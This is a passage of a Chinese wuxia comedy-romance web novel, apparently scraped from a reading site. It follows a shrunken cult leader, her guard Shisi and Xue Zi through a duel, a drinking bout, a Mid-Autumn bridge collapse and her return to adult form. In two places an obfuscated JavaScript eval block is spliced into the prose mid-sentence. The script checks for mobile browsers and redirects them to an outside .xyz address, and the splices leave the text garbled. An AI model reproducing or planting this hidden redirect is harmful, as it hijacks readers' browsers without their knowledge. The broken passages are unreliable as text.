我看他有几分失落的样子,立马用力拍了拍桌子,教训道,“那怎么能行!男子汉大丈夫,你有点人生追求行不行?再说了,你可是我的预备夫婿,以后你不给我闯荡出来响当当的名头,赚钱买大房子,拿什么迎娶我啊?!” 薛紫闻言怔了一下,随即伸手揉了揉我的发顶,神色很宠溺,却什么也没说。 ···· 吃完饭,眼看日落搂头,快到闭市的时辰了,我们便溜达着往回走。街上的行人已经渐渐奚落了,开店的商户们也都收拾了摊子,忙里忙外地上门板,方才还喧闹的街一下子显露出几分萧索的味道。 忽然,薛紫腾出一只手来拉着我,一下子把我拽进了一个小巷。 我第一次发现自己原来那么轻巧,被他一拉,直接风筝似的两脚离地,飘在空中了…… 小巷两侧皆是高墙,光线很少能投进来,巷子又深仄,昏暗之中看不到尽头。整条巷子黝黯之中透着几分诡异的感觉。 薛紫迅速窜进巷子深处,我飘飘悠悠跟在他后头,忽然,薛紫用力拽了一下我的手腕,把我往旁边一推,我还以为自己要撞墙上,结果却感觉到眼前一空。我仔细一看,才发现右手边原来有条岔路。 我正在惊异,却忽然听到巷口传来微弱的风声——有人在跟踪? 薛紫躲在岔口的边缘,一只手握在剑柄上,压抑了自己的气息,整个人紧绷如满弓的弦。 来的人也是个高手,走路半点声响也没有,只有风掠过衣袂发出的轻微响动,若不是我听力极佳,一般人是死也注意不到的。 我自从变小了之后,听力目力就变得出奇得好,好得简直就不像人了。 不过,越是听那人走动的声音,我越觉得耳熟。 我突然明白来的人到底是谁了,而就在此时,薛紫出手了。 黑色的玄铁古剑蓦然出鞘,刀鞘摩擦剑刃的声响,竟然让我轻微战栗了一下。 这种高手对战的紧张感,一下子就惊醒了我体内的暴力分子。 我一直没见识到薛紫武功,看到他拔剑的速度和爆发力,忍不住暗暗赞了一声。 这孩子平日里看起来温良,身上不带几分杀气,没想到动起手来煞气莹然,颇有几分欲雄霸天下的气魄。 这点,跟他主子倒有几分像…… 想完,我默默呸了一声,把自己想的最后一句给屏蔽掉,专心去观战看热闹了。 薛紫向来对自己的速度比较有自信,通常来说,动手只需拔刀的一刹那,就可一击毙命。 墨银色的剑光倏然自幽暗的巷子中闪过,刹那,剑锋已经带着劲风劈向来人的头顶。 来人电光火石之间,不慌不忙,横起未出鞘的剑,一挡一推,就把薛紫挡了回去。薛紫暗暗心惊了一下,身体在空中急转,随之手腕一转,剑锋向来人的小腹抹去。却不料,来人的轻功竟然在自己之上,那家伙闪身一避,轻轻一跃,就跳到了薛紫身后,稳稳落地,头发丝儿都没有乱上半分。 我站在旁边看了一会,不由地摇头叹气。 薛紫剑招漂亮是漂亮,力度速度都不错,动作也够利落,招式流畅可见其武功绝属上乘。只可惜这孩子缺乏实战经验,招式多少落于程式化了,动作完全都在意料之内,难怪在对手面前显得那么被动。 薛紫虽然一直进攻,但其实招式已经有些慌乱。刚刚只是隔着剑鞘对击,已经察觉对方内功深厚,自己持剑的虎口被震的发麻。 薛紫见对方远远在原地站着也不动,有些惊疑有些防备低声问,“你为什么不出剑?” 对方冷冷回了几个字,“我不跟你打。” “什么?!”这厢,薛紫同学顿时怒了。毕竟他只是十几岁的孩子,少年心性,难免争强好胜。 我看薛紫这孩子年纪小,脸皮薄,也不想再给他难堪,于是一下子跳出来当和事老,“哎……好了好了,别打了。薛紫把剑收起来吧。十四你也别欺负他了。” 没错,那个跟薛紫对打的家伙,就是十四。 毕竟在我身边呆了那么多年,十四一出手我立刻就确定是他没错。 薛紫愣了一下。 小巷子里的光线太暗,十四头上还戴了顶斗笠。这才慢悠悠把系带解开,拿下斗笠。 听到小白这么一说,他才发现,原来跟他交手了半天的人,是一直跟在小白身边的十四。 我看薛紫呆呆的,于是跑过去拽拽他的袖子,“薛紫同志,你这次败了也不要灰心丧气。其实你功夫是不错,只是十四比你早十年出江湖,你对战的经验不如十四丰富啦,而且十四的武功在武林里也是排得上数得着的啦,别灰心别灰心。” 薛紫“唰”地一下把剑收回去,指腹摩挲着剑柄,脸色不怎么好看,半天才弱弱低声说,“我才没灰心……” 十四远远望着我拽着薛紫又说又笑的样子,不言不语,只是默默攥紧了手里的剑。 “那正巧,时间也不早了,我们一同回去吧。”我说完,勾着薛紫的胳膊转身就沿着来时的路回去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349856|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>十四却挡在我面前,不说话,只是静静看着我。 我挑眉,“怎么?” 十四犹豫了一瞬间,轻声道,“我不放心。” 闻言我仰天大笑三声,“不放心我?我可是……”我一顺口差点说错话,话到嘴边改了口,“我,我现在可是有薛紫哥哥跟沈墨白照顾,衣食无忧,再不用东躲西藏风餐露宿,你有什么不放心的。” 十四抬眼目光冷冷从薛紫身上滑过,“他们不值得你信任。” 薛紫顿时一副受委屈的表情,眼睛微微瞪大了,“你这人真是……你怎么还反咬一口?” 十四没有什么情绪地瞥了他一眼,语气虽然冷冰冰的,却透着一股鄙夷,“沈墨白身份神秘,难说你们到底是以何种目的故意接近她的。” “目的?”薛紫怒极反笑,一扬手,指着十四的鼻尖骂道,“你这人真是……狗咬吕洞宾!” 十四冷冷瞪着他,“你才是居心叵测。” “你是非不分!” “你用心险恶。” “你……” 这两只一拉一往,一个愤然一个冷漠,竟然回合制地吵起来了。 我说,他们这是在比谁词汇量大吗?! 我这厢忍不住嘴角抽了抽。薛紫是小孩子,十四你也是吗?怎么这还能吵上架了? 忽然,我一个转眸,计上心来。 “行了行了!都别吵了!”我一下子抬起手掌,蹦到他们俩中间,“俗话说,人品如酒品!你们互相诋毁,吵也吵不出个所以然来。我看你们不如拼酒吧?谁赢了,谁就是好人!谁就有理!” 怎么又比起喝酒来了?这也太荒唐了! 薛紫本来没想答应,却不料十四想也不想就应了句,“好。” 骑虎难下,紫淼咬了咬牙,哼了一声,“好啊,谁怕谁。” 我这厢内心暗自窃喜。 酒啊! 对于我的人生来说,酒之于我,如同貂蝉之于吕布!就如同土豆之于排骨!如同可乐之于麻辣烫! 没有酒喝的人生是不完整的啊! 我装小孩以来一滴酒也没碰过,这简直比禁|欲更让人难以忍受啊! 今天让我抓住了机会一定要喝个不醉不归! 于是,薛紫就被我给拐带到了金陵最大的酒楼“望春风”。 这家“望春风”是开在秦淮河畔的,不受到宵禁的管束,越是到了夜间,就越是热闹,夜夜笙歌,好不骄奢淫逸。 从前在梵刹宫的时候,我没事儿就把暗卫聚起来拼酒。 虽然十四不算很能喝,而且也从来都不愿意喝醉,但他的酒量我还是很清楚的,灌倒十个八个薛紫应该不在话下。 没进酒楼之前,我就暗暗给十四伸出大拇指,打了个信号:灌倒他。 十四心领神会,刚上桌,酒一上来,小菜还没上齐,就一人一坛花雕,空腹灌了下去。 沈墨白显然没有我邪恶,从小就给未成年人灌酒喝,薛紫这一坛酒还没下去一半儿,就酒劲儿上来,头晕眼花站不住,“嘭”地一声,果断倒在桌子上不动了。 我剥着水煮花生,忍不住摇头,心里念叨:哎,这孩子怎么这么弱不禁风的啊!我还想灌醉了他打探打探情报呢……算了,难得有机会能喝一杯…… 我还没想完,十四把一坛酒喝干净了,“嘭”地一下把酒坛按在桌子上,猛然把我给拦腰抱起来了。 我左手刚抓住一个酒坛,右手正准备撕开封泥。被他这么一楼,吓了一大跳,酒坛都脱手滚了出去。 在我目瞪口呆之际,十四突然把我扛到肩膀上,不由分说,扭头就往外走。 我眼看着酒坛与我渐行渐远,这才察觉气氛不对,立刻死命挣扎,“喂喂!十四!你干嘛!” 十四不理我,一手拿着剑,一手抱着我,一步三晃,肩靠着墙慢腾腾往外挪。 我大惊!这货不会是喝醉了吧?! 这一坛花雕对十四来说应该不在话下啊! 传说中有心事的人很容易喝醉,我看他现在走路的S型,分明就是小脑不再工作状态的表现啊! 不要这样吧?! 我怨念地嚎叫,“放开我放开我!!” 十四对我的大呼小叫视若无睹。 他的手劲又大的出奇,我怎么挣扎也挣脱不了,眼看十四已经顺着楼梯摇摇晃晃下了楼,我欲哭无泪! 老娘的好酒啊~~~~~~~~ 我擦你姐夫的!! ···· 半个时辰之后,薛紫蓦然从桌子上猛的抬起头来。 一睁眼,一桌杯盘狼藉,而桌子对面,却是半个人影也没有了。 知道自己醉酒误事,紫淼一下什么酒劲儿都给吓没了。他顾不得其他,站起来就一个飞身从窗口跃下楼去。 人要是弄丢了,他拿什么交给沈墨白啊! 薛紫一边懊恼一边飞快地掠过一个个屋脊,间或还因为头晕眼花被屋瓦绊地跌跌撞撞。 黑夜之中,搜寻两个人谈何容易? 薛紫急得一头大汗。 他正想着,要不要通知沈墨白派出“犬组”去寻,忽然之间,薛紫一个急停,踉跄了一步,在一个屋檐上刹住了脚步。 薛紫眯起眼睛看着不远处,忽然,表情变得非常怪异。 因为,他突然看到,在不远处的一颗直径两米的大榕树下面,一个男人踉踉跄跄步履不稳,一只手扶着树干,一只手抱着一个女孩子,正一圈一圈一圈,绕着大树做圆周运动…… 而他怀里的那个孩子,一边哭,一边呢喃,“老娘的酒啊……还我的酒……” 21. 月明之夜,变身之时 本来沈墨白和十四这两位爷是见面就掐,但这回沈墨白却消停了。究其原因,当然不是因为沈墨白突然抽风大发慈悲,而是因为沈墨白目前自顾尚且不暇,哪有时间还来吃十四的飞醋。 颜静行这姑娘,眉清目秀外加身材高挑,男装就是个清俊如水的公子,女装就是个略显英气的美女,进可攻,退可守,男女莫辩,变化无穷。颜静行颇爱穿男装,事实上,我还没见过她穿女装。我看她穿男装的样子,总觉得眼熟,有一种莫名其妙的好感。 颜静行仗着自己是个假男人,丝毫不避讳,每天鸡鸣十分,冲到沈墨白房间里掀被窝,于是,每次鸡鸣之后,总是伴随着一声凄厉的惨叫。那声音凄厉中带着悲哀,惨烈中带着隐忍,让闻者忍不住鸡皮疙瘩掉满地。 颜静行少侠本着持之以恒的精神,早一次晚一次,每日掀被窝,掀掀更健康,以防沈墨白金屋藏娇。有时候颜姑娘心情好,还会大摇大摆借口搓背去偷窥沈墨白洗澡。更有甚者,为了防止沈墨白逃走,颜姑娘在沈墨白饭菜里不知下了什么药,沈墨白无知无觉吃了下去,结果一天跑了三十多趟茅房,跑的他面黄肌瘦双腿无力。 我跟十四就清闲了,每天悠闲看着这小两口上演“你是风儿,我是沙,你吹吹,我追追”的戏码。 无聊的日子总是过得飞快,转眼间半个多月耗过去,夏末也无知无觉过了,一场雨后,金陵城里的秋意也渐渐浓了起来,眨眼,就到了中秋。 八月十五处于三秋之中,故而叫中秋,也叫月夕。江南这边,喜欢称其为八月半。时值中秋,明月圆满,秋色评分,桂子飘香,天气乍凉而未寒。 经过白天的讨价还价仔细商议,我、十四、沈墨白外加颜静行决定晚上出门组队压马路。当然,还外加沈墨白和颜静行的暗卫若干,藏在池塘边荷叶下之类的地方暗中掩护。 虽然白天商量的好好的,晚上出门前又出了状况。 沈墨白这厮不依不饶拽着我不肯放手,说什么头一回一起过中秋,我怎么说也算他半个闺女,团圆佳节我们俩一定要团团圆圆的,所以他一定要把我揣怀里抱着。颜静行心目中的设想,八成是小鸟依人靠在沈墨白肩上,两人过和谐的二人世界,听沈墨白这么一说自然不乐意的。 然而!颜静行作为一名正房干后妈,一名心胸宽广的正房干后妈,为了衬托自己母仪天下有容乃大的胸襟,不能明目张胆地把我一脚踢飞,于是只能视我于无物,一胳膊挎住沈墨白的手臂,笑道,“那我们三个一起团圆!” 我被沈墨白按在怀里抱着,趴在他肩膀上泪流满面。 顶你个肺!你们俩想怎么团就怎么团!干嘛非得再扯上我啊! 经过一番挣扎和较量,我们四个终于上街了,阵型如下: 沈墨白左手抱着我,右手挽着颜静行,背后跟这个面无表情的十四。 本来这可以勉强算得上一个“老爷带着小姐挽着姨太太,跟着保镖”的组合……然而!为何颜姑娘你都这时候了还穿着男装呢?!!这到底是怎么个情况?!颜姑娘你是不让天下人误认为你是个纯断袖你誓不罢休吗?! 于是,我们一路向着金陵的繁华地段进发,一路被大街小巷的男女老少围观瞻仰——只见,那灯火辉煌,流光溢彩,以及喧闹鼎沸的背景之下,一个风流倜傥的月白锦衣公子怀里抱着一个粉雕玉琢般可爱的孩子;黄色飘逸纱衣的俊逸少年,背后跟着一个不苟言笑的美型黑衣家臣——那四人,两对两对看,上看下看左看右看,怎么看怎么养眼。然而,合在一起,怎么就那么不和谐呢?! 我一路上听到路人甲乙丙丁在叽叽喳喳指着我们交头接耳: “是兄长带了弟弟妹妹出来逛夜市?” “你看他们说话暧昧的样子!我看,这是老爷带着闺女和男宠吧?” “哇,这么明目张胆啊!” “哎呦,现在有钱人家谁不玩玩男人啊?” 总之,作为一个怎么看都无辜的真无辜人员,我默默望着沈墨白,默默替他默哀。沈墨白这些日子被折腾地心力交瘁,眼眶青黑面色苍白,现在更是一脸悲愤,一路上一语不发,看得如我这般没良心的人都觉得他可怜了。 这时候,我深深体会到一种名为兔死狐悲,不不,是幸灾乐祸的情绪。 金陵的中秋节比蜀中要更热闹一些。 在此夜,许多人都会在秦淮河中放红羊皮小水灯,数十万盏浮于水面,如若银河一泻九天,满池河灯灿若繁星,浮光跃金。街市也处处悬灯,以助月色之明。虽然没有元宵节那样的狮鬼之戏,然而却又许多偶人灯,偶人灯可唱演嬉戏,精彩地很。街上的游人,尤其是女子都是盛装打扮,这似乎也是个习俗,叫做走月。在发髻上还要插一支桂花,走起来衣袂生香。 颜静行同学连沈墨白同学裸体都感偷窥,区区旁人视线自然对颜大小姐全无杀伤力。她兴致特别高地拉着沈墨白在人群中左突又冲。我突然觉得此女子有几分可怕。 “那个,我想要桂花糕……”忽然,颜静行站在一个摊子边上不动了。黑亮的眼睛眼巴巴瞅着沈墨白,浓密的睫毛扇呀扇,一副小孩子的神情,看得人没法拒绝。 沈墨白不愧是个渣攻,这种少女目光攻击下,淡淡说,“我抱着孩子,不方便。” 于是,我特别配合,特别有眼色,猛的一扭身子,对十四张开手臂,甜甜叫了声,“十四,抱抱。” 十四立即心领神会。他目光淡淡划过我的脸,被街灯映得潋滟的眸中,笑意一闪而过。 我被他笑的不由自主往后一缩。我说,你这么高兴干嘛……至于么…… 颜静行配合默契,一把把我从沈墨白怀里抢过来,塞进十四臂弯里,笑里藏刀,“现在能买了吗?” 沈墨白愣了三秒钟,默默看了看我,看了看十四,又看了看颜静行,最后慢慢的笑了,开始任命地开始摸袖口找钱袋。 于是,沈哥哥挂着一脸“我自横档向天笑,笑完我就死翘翘”的英勇就义、大无畏、大牺牲、大损人利己、大你们爱干嘛干嘛的表情举着钱袋挤进了人堆。 我看到沈墨白倒霉,莫名其妙地特开心地笑了。什么是快乐的真谛,那就是——把幸福建立在别人的痛苦之上。我吃肉,你啃骨头,让他连渣滓都没得吃! 十四看着我,若有似无地摇了摇头。 忽然,他指着街边一个卖兔儿爷的摊子,问我,“小姐,要吗?” 相传月中有玉兔捣药,因此月亮也被称为玉兔。中秋的时候,市面上总是会有卖兔儿爷的。兔儿爷用泥在磨具里做成,也有布扎的或者纸绘的,人身兔首,衣冠被施 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他前脚刚走,我立刻一猫腰转身溜了。方才我瞥见不远处小竹桥上,有一个摊子正在施桂花酒。一直听说江南的水好酒好,许久不曾饮酒,那香味浓烈又悠长,勾地我嘴馋。 只可惜,酒,我最终还是么有喝到…… 我偷偷从人腿之间爬过去,钻到施舍酒的桌子底下,偷偷摸了一碗。 然而! 苍天呐!为何我的人生中总是充满了然而呢?! 然而,我还没能来得及喝上一口,突然,有一种很不对劲的感觉逆袭而来! 为什么叫逆袭呢? 因为这种感觉是从脚底一直窜到头顶,全身如同过电了一般,全身汗毛都炸开了。一瞬间我整个人就僵在原地,一动也无法动弹!紧接着,我只听到耳边“嘭”地一声巨响!在我明白发生什么是的时候,我已经掉水里了。冰冷的河水瞬间淹没了头顶。 是的,我落水了。 但!我不是一个人! 那什么豆腐渣的木桥,竟然被人踩塌了!一瞬间,整座桥化为一片木渣!几十人同时都落入了水中! 不知道是不是因为刚才身体突然的僵硬,我暂时无法反应,口鼻里一下涌入冰冷的河水。脖子似乎是被什么东西给卡住了,我在水里一下子慌了手脚。周围都是在乱扑腾的人,混乱中还有谁狠狠踩了我一脚! 真是老虎落水被驴踢啊……我弱弱地,模糊地想了一下,然后,无法控制地陷入一片黑暗。 岸上,沈墨白站在岸边。周围人群嘈杂,惊叫声,叫喊声,纷乱的脚步声,一切都混杂在一起,一片混乱。 江风吹动他月白色的衣衫,似乎与人群之间有一道看不见的屏障,将他与一切隔绝起来。 沈墨白微微蹙眉,脸上划过一抹难以言述的复杂情绪。似困惑似怀疑,似在有所谋算。 一个黑衣暗卫不露声色出现在他背后。 “主子,颜小姐已经被薛紫带去安全的地方了,您放心。” 沈墨白忽然轻笑了一声,然后忽然转身,“我们回去。” 暗卫有些不明所以,“但……主子,叫小白的孩子,刚才似乎落水了……” “不用担心,”沈墨白轻叹了口气,“我家的孩子,刚才,被一只野狗叼走了。” “野狗?” 22. 女王归来,风云再起 十四把我从水底揽起来的时候,我模模糊糊是有意识的。 朦胧中,我看到他黑色的剪影在水中徘徊,长发飘散在水中仿佛是墨迹在水中恣意的渲染。他的背后是广大的墨蓝色的水,有一束束的光斑从水面投入深幽的水底,光怪陆离。那一刻,我沉在水底向天空仰望,脑子里闪过的词,只有简单的两个字——好美。刹那芳华,时间、年岁、生命、江湖,一切都像是一场梦境,飘渺不定。 十四抓住我手腕的时候,我弱弱地想着:本座真是个人间悲剧啊……本座只是想普通地逛个街,普通的喝口酒而已……这都不行吗?!朦胧中我意识到十四抱着我,顺流而下漂流了很远一段距离。过程之中,身体怪异的麻痹感逐渐消失了,我渐渐清醒了几分。等到十四拖着我到一处远离人群、荒无人烟的河岸时,我已经完全清醒了。 十四先利落地跳到岸上,一上岸就开始背对着我宽衣解带,几下干脆利落把自己上衣剥了个干净,露出一片春光无限好的背脊。 我趴在河岸边上,身体泡在水里,一只手还托着下巴,怡然自得地欣赏眼前美人出浴的好风光,一点不像掉进河里遇难,倒像是在自家池塘泡澡。一边欣赏,本座还一边疑惑:十四这家伙干嘛费这么大劲把我带到如此偏僻之处?莫非,这孩子是想趁着夜黑风高,荒野无人,孤男寡女,做一些伤天害理的事情? 正当我眉飞色舞尽情脑补之时,十四背对着我蹲下来,把自己的衣服递给我,“请教主暂且凑合一下。” 我愣了一下,随即蹙眉:为何要给我衣服?我又不是娇贵的千金小姐,就算是秋天泡了冷水也不至于娇弱到需要穿你的衣服。再者,直接用内功将一物烘干岂不是更方便些? 我一边想,一边下意识伸出手去接,然而,在我看到自己手臂的时候,本座那炯炯有神的狗眼,生生地瞪大了整整一倍。 等等!我胳膊怎么变长了?!我这不是眼花了吧?! 我闭上眼睛使劲摇摇头,凝神,屏息,瞪眼! 十四见我迟迟没有动作,有点不安地唤了声,“教主?” 我这才回神,淡定扔出两个字,“稍等!” 语落,我果断低头。 一瞅不要紧,瞅完我就“嗷”得一声哀嚎。 不仅手变长了!胸也变大了!我擦我难道是木耳?!泡水会膨胀是什么属性啊! “教主……”十四被我惨绝人寰的惨叫震惊了一下,“您没事吧?” 我继续惨叫,“我变回去了?!” “是,”十四倒是淡定得很,“我在水底看到您的时候,您已经是这样了。” 我瞠目结舌,脑袋了一瞬间。试问,一个巨大的身体塞进一件巨小的衣服,会产生怎样的悲剧性后果? 那必然是撑爆衫!此刻,我的衣服早就变成了几条烂布条,整个人衣不蔽体,什么该露的不该露的全都露了。 怪不得十四把衣服脱给我。 我内心哀嚎一声。那刚才跟我一起掉进水里的路人之中,岂不是有人看到了我的身体?刚才在水里头,岂不是有人踹了我的裸体一脚…… 我额角青筋跳了跳——这帮不知天高地厚的愚民们!干脆本座把金陵给屠了! 我一边愤愤念叨,一边把十四的外衣给像浴衣一样裹在身上,然后慢腾腾手脚并用爬上了岸。 十四有些尴尬地垂头站在一边。 银色的月光落在他潮湿的肌肤上,仿佛镀上一层淡淡的银粉,黑色的潮湿长发顺着肩膀落在胸前,流畅的肌理在发丝之中若隐若现…… 我瞅了他一眼,突然不由自主咽了口唾沫。 男色当前,我怎能……怎能饥不择食! “教主?”十四见我不言不语不理他,只顾着神情怨愤自言自语,有些不安低声询问。 “走吧。”我裹了裹衣服,甩了甩发尾上的水,大大咧咧越过了十四就往前走。 十四却在原地没动,“腾”地一下在我背后跪下了。 “十四对教主不敬,请教主责罚。” “嗯?” 我扬了扬眉毛,而后就笑了。 十四头低地很低,我看到他手指攥地很紧,仿佛在压抑着什么。 我会心一笑。 年轻人,果然精力好……我走过去,抬脚用赤裸的足踩了他肩膀一下,“行了行了,你都跟了我十年了,再没别人比你更亲近我。你从前出入我寝宫无数次,该看地早看了吧,现在还害羞什么劲儿啊?别矫情了。” 十四仍旧低着头不敢看我,他微微张了张口,想要说什么,但是终究什么也没说。只是咬了一下嘴唇,垂首,目光死死盯着自己的鞋面儿,仿佛能盯出朵花儿来。 我知道他想说什么。他虽然跟了我很多年,但从不逾矩。 不该看的不看,不该听的不听。他于我,是敬,是畏,是尊重,他把我放在遥远而高贵的位置上,从未对我有过的半分逾矩。今日这乌龙状况,不仅看到了,迫于无奈之下还摸到了。这过分亲近的距离着实击中了十四同志他纯洁的心灵,给他留下了莫大的心理阴影,以至于现在看都不敢看我一眼。 “十四。”我打了个响指。 “教主?” “你呢,现在给我弄套衣服来,就照我以前爱穿的颜色和款式。” “啊?哦,是……” 我看着十四慌慌张张跑远的背影,忍不住笑着叹了口气。这孩子,是忘了自己现在还赤身裸体的了吧?就这样光着跑到街上……等等!他光着跑到街上岂不是要被那些个花痴女给看光了?!他可是我的东西啊啊!怎么能随便被别人看呢!刚才只想捉弄他一下,结果,现在我自己陷入了无限的懊恼中。 十四半刻之后便回来了。 一袭沉香妆花仙鹤缎衣,虽然是男装,但我套上之后,尺寸竟然难得地吻合。我把换下来十四的衣服扔回给他,十四接住衣服,眼睛却一直没有从我身上移开,看的有些发愣。 十四回过神来,俯身对我下拜,“恭喜教主。” 我沉默了一瞬间,忽然眉间闪过一丝无奈的情绪,“有什么好恭喜的。” 我这句话几乎是下意识脱口而出的。那一瞬间,我才察觉到,恢复了原本身体和武功,竟然丝毫不觉得高兴,只觉得麻烦。 我不是一直想变回去吗?我不是整天都念叨着变回去要给沈墨白好看吗?为什么竟然觉得失落? “呃,我是说……”我看到十四眼中担忧的神色,立即收起自己有些慌乱的情绪,欲盖弥彰道,“顾染织跟那帮长老们捅了那么大一个篓子,我呢,本来是想,他们爱闹腾就尽管折腾,本座我事不关己乐得清闲。但是,却没想到,今天竟然还能变回白玉蛟。我既然是白玉蛟,是镜花宫的教主,自然不能袖手旁观……现在,只能勉为其难帮那帮废物收拾烂摊子了。”说完,我自己都被自己说服了,越发觉得此事真是甚是麻烦。无奈地深深叹了口气,我挥手,“走吧。” “教主,是要去?” “金陵分教。” ···· 我站在千宜阁的内院里,背后站着带着斗笠的十四。背景是金陵中秋喧嚣鼎沸的夜晚,一轮硕大的明月半悬中空,穹庐倒扣犹如碗底。 周围的陪衬,是几十或者有上百个手拿刀枪棍棒神色狰狞的路人。路人甲乙丙丁们把我和十四三百六十度全方位包围在中央。 不用问了,这些狰狞的路人们,都是我镜花宫的诸位徒子徒孙。 “你们是什么人!竟然敢擅闯此地!活得不耐烦了!”为首的一人,晃了一晃手中明晃晃的大刀,对我叫嚣道。 我懒得跟路人说话,有点不耐烦地皱眉,“把管事的叫出来。” 旁边的一人吼道,“你算哪个?!先把名号报上!” 此音一落,周围无数人附和。 “就是!何处来的疯女人!活得不耐烦了吧?!” “何必跟她废话,先砍了这家伙!” 周围一片嘈杂,我盛怒反笑,眯起眼睛露出一抹狰狞的微笑,我扬声,“你问我是谁?” 声音里混含着内力,音量不大,却是震得所有人筋脉一痛。所有人霎时被我的气势缩震慑,一时间都噤声,没有人再敢开口废话。 我冷笑了一下,转身,顺手一脚挑起墙脚边的茅草叉,手腕一转抓住叉子柄,使出五分力,轻松往外一丢。 那茅草叉“嗖”得完成一个华丽的转身,倏然化作一道银光,闪电一般撕裂了金陵的夜幕。 众人目送茅草叉而去。 百米之外,毗邻千宜阁有一间“忠勇镖局”。此镖局的标志乃是院内矗立高耸的镖棋,那镖旗旗杆用一整颗红杉木而制,粗有三人环抱,矗立百年而未有折损。 却只在一瞬间,那粗壮的旗杆,竟然就这样出其不意地倒下了! 巨大的旗杆从中间折断,随着“轰”地巨响,周围数间房屋惨遭殃及,被那折断的旗杆给砸成一片废墟,一时间,瓦砾灰尘弥漫,凄厉尖叫声四起。 尖叫声混合着祭典的喧闹声响彻云霄,而这千宜阁的后院儿里,却静得鸦雀无声。 包围着本座的无知愚民们,整齐划一心有灵犀地向后退了三步。 一片静默中,我开了口,“既然你们问了,那就大发慈悲的告诉你们……”我拍了拍手指上沾染的灰尘,浅笑,扬眉,目光环顾四周。 此时,十四低沉而冰冷,毫无感情的声音响起来,“镜花宫教主,白玉蛟在此。尔等杂碎还不叩拜。” 刹那间,包围着我跟十四的人,又向后退了有十余步。有的胆小的,手都如晒,武器都乒乒乓乓掉到地上。 我以睥睨之姿,懒洋洋看着这一帮人。 虽然大部分人都在向后退缩,不过倒有几人还挺冷静,没有盲目地屈服于本教主的淫威。 “两位,方才多有得罪,是我们千宜阁招待不周,怠慢了贵客。请两位少待片刻,管事的马上就到。”人群之中,忽然走出一个人来,那人对我恭恭敬敬拜了一下。正是刚才为首向我挑衅的家伙。 我瞥了他一眼,故意抬了一下手掌。掌风无形的压力铺天盖地袭去,那孩子身体颤了一下,但是他立即运功抵挡,身形晃了一下就稳住了。 不错嘛。我挑眉,来了兴致,“你叫什么?” “商云清。” “抬起头来我看看。”我眯起眼睛,贼兮兮地露出了一个调戏良家妇女的恶霸表情。 商云清有些不自然地抬起头,眼神却闪开了。 青年五官深邃,眉浓而长,弧度柔和,看上去是个长情专一的好男人。年纪不过二十过半,武功也还算不错…… “我挺中意你的。” 我手撑着下巴,色咪咪对他笑了一下。 我语落,商云清的表情更加难堪了几分。 就在此时,一个白白胖胖的中年男人一阵风似的从前庭飞奔了过来。 他远远瞧见我,脸色微变。 男人手忙脚乱冲到我面前,“扑通”一声跪下,活像一个滚在地上的大土豆。 “不知教主大驾来此!赵子谦治下无方!让这些不长眼的东西冒犯了教主!罪大恶极!请教主降罪!” 赵子谦一说完,周围的人终于确定了——眼前这个白衣飘飘,满脸邪气的女人,原来真的是传说中那个青面獠牙,修罗转世,杀人如切菜,自己的顶头上司,大老板——镜花宫教主白玉蛟! 哗啦啦啦。 我再一抬头,刚才对着我张牙舞爪的螳螂们,都变成了跪在地上瑟瑟发抖的土豆。 我哼了一声,随即做足了魔教教主的派头,阴阳怪气大笑了一通。“哈哈哈,哎呀,老赵,你干嘛吓成这个样子呀?是不是趁我不注意的时候,做了什么对不起我的亏心事了?”我这话的内容虽听起来像个玩笑,但语气里分明半分玩笑的意思也没有。 赵子谦跪地五体投地,恨不得把脑袋都整个埋进土里去,“教主明鉴啊!赵某人对教主一片衷心!怎么会做出不利教主的事情!” “哦?”我慢慢踱步,走到他头边上,居高临下俯视着他,“那现在,江湖联合攻打‘剑阁’,你怎还能如此悠闲地蹲在此地喝酒玩女人?” 赵子谦年过半百,自从我师傅是教主时,便一直担任金陵分教的管事。此人行事低调,为人处世极其圆滑,这一辈子几乎是没被抓住过什么把柄。 现在,此人却跪在地上,冷汗一瞬间就湿透重衣。 所谓权术,即御人之术。正如兵法所云,知己知彼,百战不殆。玩弄权术,最基本的一点,便是深谙人心。 然而,我这个人,最可怕之处就在于,上一刻可以谈笑风生,下一秒也许就取走了你的项上人头。性情乖戾,根本就是一个疯子。任何一个正常的人,永远都不知道一个疯子到底在想些什么。 “我……”赵子谦抖得更加厉害。 我慢慢俯下身在他身边蹲下,“老赵啊,”我微微压低了声音,“让我来猜猜,你这个好部下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349858|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底在打什么算盘?莫不是,你和长老们串通好了,想趁着镜花宫内乱的机会,脱离镜花宫,自立门户吧?” 我声音虽然不大,却清楚地传入了每一个人耳朵里。几乎所有人,都被那声音透露出残忍的杀意吓得手脚发软。 我脸上仍旧挂着笑容,满意地看到眼前那个男人惊恐的反应。 我抬手拍了拍赵子谦的肩膀,“我看,你这个‘千宜阁’办的是有声有色,办的名号都响遍中原了。每年的赚头可不少呀?是吧,老赵?” 赵子谦毕竟是老江湖,也并不是个没胆识的人,不然我也不会看重他。 刚才我拍他的时候用上了几分内力,他还是沉沉吸了口气,勉强运气,没有一下子瘫软在地上,“属下不敢!” “不敢?” 